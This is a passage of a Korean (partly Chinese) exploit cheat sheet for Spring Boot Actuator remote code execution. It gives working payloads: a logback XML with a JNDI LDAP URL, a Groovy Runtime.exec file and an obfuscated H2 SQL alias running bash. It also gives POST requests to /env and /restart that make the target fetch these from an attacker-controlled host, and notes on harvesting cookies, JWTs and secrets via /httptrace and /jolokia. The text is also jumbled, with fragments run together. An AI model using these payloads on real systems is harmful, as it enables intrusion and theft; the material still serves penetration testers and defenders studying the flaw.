/env 엔드포인트에 POST 요청으로 속성 설정 가능/restart 엔드포인트에 POST 요청으로 애플리케이션 재시작 가능javax.naming.spi.ObjectFactory 인터페이스를 구현해야 함, 그렇지 않으면 프로그램이 비정상 종료됨자신이 제어하는 VPS 머신에서 간단한 HTTP 서버를 열고, 포트는 가능한 일반적인 HTTP 서비스 포트(80, 443)를 사용```bash
python2 -m SimpleHTTPServer 80 python3 -m http.server 80
루트 디렉터리에 `xml`로 끝나는 `example.xml` 파일을 배치합니다. 실제 내용은 2단계에서 사용한 JNDI 서비스에 따라 결정됩니다.```xml
<configuration>
<insertFromJNDI env-entry-name="ldap://your-vps-ip:1389/TomcatBypass/Command/Base64/b3BlbiAtYSBDYWxjdWxhdG9y" as="appName" />
</configuration>
글을 참조하여 JNDIExploit을 수정하고 시작합니다(다른 방법을 사용할 수도 있습니다):```bash java -jar JNDIExploit-1.0-SNAPSHOT.jar -i your-vps-ip
##### 3단계: logging.config 속성 설정
spring 1.x```
POST /env
Content-Type: application/x-www-form-urlencoded
logging.config=http://your-vps-ip/example.xml
spring 2.x``` POST /actuator/env Content-Type: application/json
{"name":"logging.config","value":"http://your-vps-ip/example.xml"}
##### 4단계: 애플리케이션 재시작
spring 1.x```
POST /restart
Content-Type: application/x-www-form-urlencoded
spring 2.x``` POST /actuator/restart Content-Type: application/json
#### 취약점 원리:
1. 대상 시스템이 logging.config 속성을 통해 logback 로그 구성 파일 URL 주소를 설정합니다.
2. restart로 애플리케이션을 재시작하면 프로그램이 URL 주소를 요청하여 악성 xml 파일 내용을 가져옵니다.
3. 대상 시스템이 saxParser.parse를 사용하여 xml 파일을 파싱합니다 (이로 인해 XXE 취약점이 발생합니다).
4. xml 파일에서 `logback` 종속성의 `insertFormJNDI` 태그를 사용하여 외부 JNDI 서버 주소를 설정합니다.
5. 대상 시스템이 악성 JNDI 서버에 요청하여 JNDI 인젝션을 유발하고, 이로 인해 RCE 취약점이 발생합니다.
#### 취약점 분석:
[spring boot actuator rce via jolokia](https://xz.aliyun.com/t/4258)
https://landgrey.me/blog/21/
#### 취약점 환경:
[repository/springboot-restart-rce](https://github.com/LandGrey/SpringBootVulExploit/tree/master/repository/springboot-restart-rce)
정상 접근:```
http://127.0.0.1:9098/actuator/env
/env 엔드포인트에 POST 요청으로 속성 설정 가능/restart 엔드포인트에 POST 요청으로 애플리케이션 재시작 가능자신이 제어하는 VPS 머신에서 간단한 HTTP 서버를 실행하고, 포트는 가능하면 일반적인 HTTP 서비스 포트(80, 443)를 사용합니다.```bash
python2 -m SimpleHTTPServer 80 python3 -m http.server 80
루트 디렉토리에 `groovy`로 끝나는 `example.groovy` 파일을 배치하고, 내용은 실행할 groovy 코드로 설정합니다. 예를 들어:```xml
Runtime.getRuntime().exec("open -a Calculator")
spring 1.x``` POST /env Content-Type: application/x-www-form-urlencoded
logging.config=http://your-vps-ip/example.groovy
spring 2.x```
POST /actuator/env
Content-Type: application/json
{"name":"logging.config","value":"http://your-vps-ip/example.groovy"}
spring 1.x``` POST /restart Content-Type: application/x-www-form-urlencoded
spring 2.x```
POST /actuator/restart
Content-Type: application/json
logback-classic 구성 요소의 ch.qos.logback.classic.util.ContextInitializer.java 코드 파일 로직에서 url이 groovy로 끝나는지 확인groovy로 끝나면 최종적으로 파일 내용의 groovy 코드가 실행되어 RCE 취약점 발생repository/springboot-restart-rce
정상 접근:``` http://127.0.0.1:9098/actuator/env
### 0x0B: restart spring.main.sources groovy RCE
#### 이용 조건:
- 대상 웹사이트의 `/env` 인터페이스에 POST 요청하여 속성을 설정할 수 있어야 함
- 대상 웹사이트의 `/restart` 인터페이스에 POST 요청하여 애플리케이션을 재시작할 수 있어야 함
- ⚠️ 대상이 공격자의 HTTP 서버에 요청을 보낼 수 있어야 함 (외부 네트워크로 요청 가능), 그렇지 않으면 restart 시 프로그램이 비정상 종료됨
- ⚠️ HTTP 서버가 잘못된 groovy 구문이 포함된 파일을 반환하면 프로그램이 비정상 종료됨
- ⚠️ 환경에 groovy 의존성이 존재해야 함, 그렇지 않으면 프로그램이 비정상 종료됨
#### 이용 방법:
##### 1단계: groovy 파일 호스팅
자신이 제어하는 VPS 머신에서 간단한 HTTP 서버를 열고, 포트는 가능한 일반적인 HTTP 서비스 포트(80, 443)를 사용```bash
# 使用 python 快速开启 http server
python2 -m SimpleHTTPServer 80
python3 -m http.server 80
루트 디렉토리에 groovy로 끝나는 example.groovy 파일을 배치하고, 내용은 실행할 groovy 코드를 작성합니다. 예:```xml
Runtime.getRuntime().exec("open -a Calculator")
##### 2단계: spring.main.sources 속성 설정
spring 1.x```
POST /env
Content-Type: application/x-www-form-urlencoded
spring.main.sources=http://your-vps-ip/example.groovy
spring 2.x``` POST /actuator/env Content-Type: application/json
{"name":"spring.main.sources","value":"http://your-vps-ip/example.groovy"}
##### 3단계: 애플리케이션 재시작
spring 1.x```
POST /restart
Content-Type: application/x-www-form-urlencoded
spring 2.x``` POST /actuator/restart Content-Type: application/json
#### 취약점 원리:
1. 대상 머신은 spring.main.sources 속성을 사용하여 ApplicationContext를 생성하기 위한 추가 소스의 URL 주소를 설정할 수 있습니다.
2. restart로 애플리케이션을 다시 시작하면 프로그램이 설정된 URL 주소를 요청합니다.
3. spring-boot 컴포넌트의 org.springframework.boot.BeanDefinitionLoader.java 파일 코드 로직에서 URL이 .groovy로 끝나는지 확인합니다.
4. URL이 .groovy로 끝나면 파일 내용의 groovy 코드가 실행되어 RCE 취약점이 발생합니다.
#### 취약점 환경:
[repository/springboot-restart-rce](https://github.com/LandGrey/SpringBootVulExploit/tree/master/repository/springboot-restart-rce)
정상 접속:```
http://127.0.0.1:9098/actuator/env
/env 엔드포인트에 POST 요청하여 속성 설정 가능/restart 엔드포인트에 POST 요청하여 애플리케이션 재시작 가능h2database, spring-boot-starter-data-jpa 관련 의존성이 존재해야 함자신이 제어하는 VPS 머신에서 간단한 HTTP 서버를 열고, 포트는 가능한 일반적인 HTTP 서비스 포트(80, 443)를 사용```bash
python2 -m SimpleHTTPServer 80 python3 -m http.server 80
在根目录放置以任意名字的文件,内容为需要执行的 h2 sql 代码,比如:
> ⚠️ 下面payload 中的 'T5' 方法只能 restart 执行一次;后面 restart 需要更换新的方法名称 (如 T6) 和设置新的 sql URL 地址,然后才能被 restart 重新使用,否则第二次 restart 重启应用时会导致程序异常退出```xml
CREATE ALIAS T5 AS CONCAT('void ex(String m1,String m2,String m3)throws Exception{Runti','me.getRun','time().exe','c(new String[]{m1,m2,m3});}');CALL T5('/bin/bash','-c','open -a Calculator');
spring 1.x``` POST /env Content-Type: application/x-www-form-urlencoded
spring.datasource.data=http://your-vps-ip/example.sql
spring 2.x```
POST /actuator/env
Content-Type: application/json
{"name":"spring.datasource.data","value":"http://your-vps-ip/example.sql"}
spring 1.x``` POST /restart Content-Type: application/x-www-form-urlencoded
spring 2.x```
POST /actuator/restart
Content-Type: application/json
spring.datasource.data 속성을 통해 jdbc DML sql 파일의 URL 주소를 설정할 수 있습니다.spring-boot-autoconfigure 컴포넌트의 org.springframework.boot.autoconfigure.jdbc.DataSourceInitializer.java 파일 코드 로직에서 runScripts 메서드를 사용하여 요청한 URL 내용의 h2 database sql 코드를 실행하여 RCE 취약점을 발생시킵니다.repository/springboot-restart-rce
정상 접속:``` http://127.0.0.1:9098/actuator/env
| spring-cloud-dependencies | spring-cloud-dependencies |
| Spring Cloud 주 버전 | Spring Boot 버전 |
|---|
| Angel | Spring Boot 1.2.x 호환 |
| Brixton | Spring Boot 1.3.x, 1.4.x 호환 |
| Camden | Spring Boot 1.4.x, 1.5.x 호환 |
| Dalston | Spring Boot 1.5.x 호환, 2.0.x 비호환 |
| Edgware | Spring Boot 1.5.x 호환, 2.0.x 비호환 |
| Finchley | Spring Boot 2.0.x 호환, 1.5.x 비호환 |
| Greenwich | Spring Boot 2.1.x 호환 |
| Hoxton | Spring Boot 2.2.x 호환 |
| SRX | (버그 수정 후 재배포된) 정식 릴리스 버전 |
/actuator/jolokia/jolokia/list 인터페이스를 통해 활용 가능한 MBean을 찾아 간접적으로 관련 RCE 취약점을 유발하거나 별표(*)로 마스킹된 중요한 개인 정보의 평문을 얻을 수 있습니다.
/trace, /actuator/httptrace
일부 HTTP 요청 패킷의 추적 정보에서 내부 네트워크 애플리케이션 시스템의 요청 정보 세부 사항, 유효 사용자나 관리자의 쿠키, JWT 토큰 등의 정보를 발견할 수 있습니다.